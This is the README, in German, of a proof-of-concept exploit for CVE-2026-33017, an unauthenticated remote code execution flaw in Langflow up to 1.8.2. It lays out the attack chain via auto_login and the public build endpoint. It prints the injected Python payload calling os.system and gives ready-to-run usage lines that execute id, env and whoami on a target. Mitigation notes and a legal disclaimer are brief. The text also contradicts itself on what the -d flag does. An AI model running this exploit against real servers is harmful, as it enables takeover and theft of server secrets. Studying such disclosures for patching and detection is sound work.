
Proof-of-Concept für CVE-2026-33017, das unauthentifizierte Remote-Code-Ausführung in anfälligen Langflow-Versionen durch bösartige CustomComponent-Code-Injektion demonstriert.
CVE-ID: CVE-2026-33017
Betroffene Software: Langflow
Verwundbare Versionen: <= 1.8.2
Behobene Version: >= 1.9.0
Schweregrad: Kritisch
Autor: arensballiu
Datum: 2026
Langflow stellt einen öffentlichen Flow-Build-Endpunkt (/api/v1/build_public_tmp/{flowID}/flow) bereit, der
beliebige CustomComponent-Codeblöcke akzeptiert und diese serverseitig ohne Authentifizierung ausführt. Durch
das Einschleusen einer bösartigen Python-Nutzlast in das Feld code eines CustomComponent-Knotens kann ein nicht authentifizierter
Angreifer beliebige Betriebssystembefehle mit den Rechten des Langflow-Serverprozesses ausführen.
Die Angriffskette missbraucht zunächst den Endpunkt /api/v1/auto_login, der ein Bearer-Token ausstellt, ohne
Anmeldedaten zu verlangen, wenn Langflow in seiner standardmäßigen Auto-Login-Konfiguration läuft. Anschließend wird dieses Token
verwendet, um einen temporären öffentlichen Flow zu erstellen und die serverseitige Codeausführung über den Build-
Endpunkt auszulösen.
Es ist eine Docker-Datei enthalten, die eine Docker-Instanz mit installiertem und laufendem Langflow erstellt.
| Endpunkt | Methode | Authentifizierung erforderlich | Zweck |
|---|---|---|---|
/api/v1/auto_login | GET | Nein | Bearer-Token erhalten (Auto-Login muss aktiviert sein) |
/api/v1/flows/ | POST | Ja (Bearer) | Einen neuen Flow erstellen |
/api/v1/build_public_tmp/{flowID}/flow | POST | Nein (öffentlich) | Build auslösen - verwundbarer Ausführungspunkt |
/api/v1/flows/{flowID} | DELETE | Ja (Bearer) | Den erstellten Flow bereinigen |
Datei: CVE-2026-33017_POC.py
requests-Bibliothekpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Langform | Erforderlich | Beschreibung |
|---|---|---|---|
-u | --url | Ja | Basis-URL der Langflow-Instanz |
-c | --command | Ja | Auf dem Server auszuführender Betriebssystembefehl |
-d | --delete | Nein | Den erstellten Flow nach der Ausnutzung löschen |
Codeausführung überprüfen:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Server-Umgebungsvariablen abrufen:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Halte den Flow nach der Ausnutzung am Leben (Cleanup überspringen):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
Der Exploit injiziert den folgenden Python-Schnipsel in das Feld code eines CustomComponent-Knotens:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) – importiert das os-Modul dynamisch und führt den vom Angreifer übergebenen Shell-Befehl auf dem Server aus.CustomComponent, die erforderlich ist, um den Komponenten-Loader von Langflow zu erfüllen, ohne einen Parse-Fehler auszulösen.PUBLIC erstellt und der Build-Endpunkt wird über seinen öffentlichen Endpunkt aufgerufen, was bedeutet, dass kein Session-Cookie oder Authentifizierungstoken erforderlich ist, um die Ausführung auszulösen.Das CustomComponent-System von Langflow ermöglicht es, beliebigen Python-Code als Teil einer Flow-Definition einzureichen. Der Endpunkt /api/v1/build_public_tmp/{flowID}/flow baut diesen Code serverseitig auf und wertet ihn teilweise aus, einschließlich Anweisungen auf Modulebene, ohne Sandboxing oder Einschränkung des Zugriffs auf Python-Built-ins wie __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Alle vier Schritte können von einem anonymen Angreifer gegen eine Standardbereitstellung von Langflow durchgeführt werden.
LANGFLOW_AUTO_LOGIN=false) in jeder internetzugänglichen Bereitstellung.Dieser Proof of Concept wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt. Die Verwendung dieses Skripts gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.